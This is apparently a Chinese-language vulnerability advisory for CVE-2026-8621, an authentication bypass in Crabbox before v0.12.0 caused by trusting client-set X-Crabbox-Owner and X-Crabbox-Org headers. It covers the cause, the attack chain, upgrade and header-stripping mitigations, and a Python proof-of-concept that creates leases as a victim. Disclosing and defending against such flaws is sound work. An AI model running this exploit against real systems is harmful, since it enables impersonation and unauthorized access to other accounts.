IPBUF安全漏洞报告
English
CVE-2026-8621 CVSS 8.8 高危

CVE-2026-8621 Crabbox认证绕过漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-8621
漏洞类型
认证绕过
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Crabbox

相关标签

认证绕过CrabboxHeader Spoofing权限提升CVE-2026-8621

漏洞概述

Crabbox v0.12.0之前版本存在认证绕过漏洞。攻击者可利用共享令牌,通过伪造X-Crabbox-Owner和X-Crabbox-Org请求头,绕过授权检查,冒充其他所有者或组织,从而访问受害账户的租约操作权限。该漏洞CVSS评分为8.8,属于高危漏洞。

技术细节

该漏洞的根源在于Crabbox在v0.12.0之前的版本中,对于基于共享令牌的认证流程存在设计缺陷。系统在处理请求时,过度信任客户端传入的HTTP请求头,特别是X-Crabbox-Owner和X-Crabbox-Org字段。正常情况下,这些字段应当由服务端根据认证上下文安全地填充,或者由受信任的代理注入。然而,受影响的版本允许攻击者在持有非管理员共享令牌的情况下,通过篡改请求包,手动设置这两个请求头的值。当请求到达后端时,系统直接利用这些未经验证的头信息来确定操作的上下文所有者和组织,从而绕过了原本的权限校验逻辑。这使得攻击者能够以受害者身份执行租约操作,导致严重的数据机密性、完整性和可用性风险。

攻击链分析

STEP 1
Reconnaissance
攻击者探测目标网络,发现Crabbox服务实例,并获取有效的非管理员共享令牌。
STEP 2
Weaponization
攻击者构造恶意HTTP请求,在请求头中注入伪造的X-Crabbox-Owner和X-Crabbox-Org字段,目标指向受害者账户。
STEP 3
Delivery
攻击者向Crabbox API端点发送带有共享令牌认证和伪造头部的请求。
STEP 4
Exploitation
Crabbox后端错误地信任伪造的头部信息,跳过权限检查,允许攻击者以受害者身份执行操作(如创建租约)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Exploit Title: Crabbox Authentication Bypass via Header Spoofing # Date: 2026-05-14 # Exploit Author: VulnCheck # Vendor Homepage: https://github.com/openclaw/crabbox # Software Link: https://github.com/openclaw/crabbox/releases/tag/v0.12.0 # Version: < v0.12.0 # Tested on: Linux # CVE: CVE-2026-8621 import requests def exploit(target_url, shared_token, victim_owner, victim_org): """ Exploits the auth bypass by spoofing headers. """ headers = { "Authorization": f"Bearer {shared_token}", "X-Crabbox-Owner": victim_owner, "X-Crabbox-Org": victim_org, "Content-Type": "application/json" } # Example payload to create a lease under victim's context payload = { "image": "alpine:latest", "cmd": "sh", "lease_duration_seconds": 3600 } try: response = requests.post(f"{target_url}/api/lease", json=payload, headers=headers) if response.status_code == 200: print(f"[+] Exploit successful! Created lease for {victim_owner}/{victim_org}") print(f"[+] Response: {response.json()}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Configuration TARGET = "http://localhost:8080" # Replace with actual target TOKEN = "valid_shared_token_here" # Replace with a low-priv shared token VICTIM_OWNER = "admin" # Target user to impersonate VICTIM_ORG = "finance" # Target organization exploit(TARGET, TOKEN, VICTIM_OWNER, VICTIM_ORG)

影响范围

Crabbox < v0.12.0

防御指南

临时缓解措施
如无法立即升级,应在网络边界设备(如WAF或API网关)上添加规则,拦截或重写对外部请求中的X-Crabbox-Owner和X-Crabbox-Org请求头,确保只有内部受信任服务可以设置这些参数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表